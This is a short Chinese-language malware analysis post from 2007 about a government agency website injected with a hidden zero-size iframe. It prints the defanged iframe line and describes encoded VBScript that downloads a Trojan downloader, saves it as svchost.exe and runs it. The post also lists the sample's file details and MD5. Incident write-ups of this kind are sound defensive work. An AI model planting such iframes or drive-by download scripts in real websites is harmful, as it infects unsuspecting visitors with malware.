某市发改委网站被挂马 xzz.exe/Trojan-Downloader.Win32.Delf.aof

endurer 原创

2007-01-24 第1版

该网站首页中部被加入代码：
/-------
＜iframe height=0 width=0 src="hxxp://www.g*ao**ju*n8***8*8.com/5**"＞＜/iframe＞
-------/

hxxp://www.g*ao**ju*n8***8*8.com/5**   的内容包含用escape()加密的VBScript代码，功能是利用 Microsoft.XMLHTTP 和 scrīpting.FileSystemObject 下载文件 xzz.exe，保存为 %temp%/svchost.exe，并利用Shell.Application 对象Q 的 ShellExecute 方法 来运行。

xzz.exe 采用 bambam V0.01 -> bedrock * 加壳

/--------
文件说明符 : D:/test/xzz.exe
获取文件版本信息大小失败!
创建时间 : 2007-1-24 16:3:45
修改时间 : 2007-1-24 16:3:45
访问时间 : 2007-1-24 16:6:8
大小 : 17408 字节 17.0 KB
MD5 : 92fc95c7f131200877e13e7e912f7aa9
--------/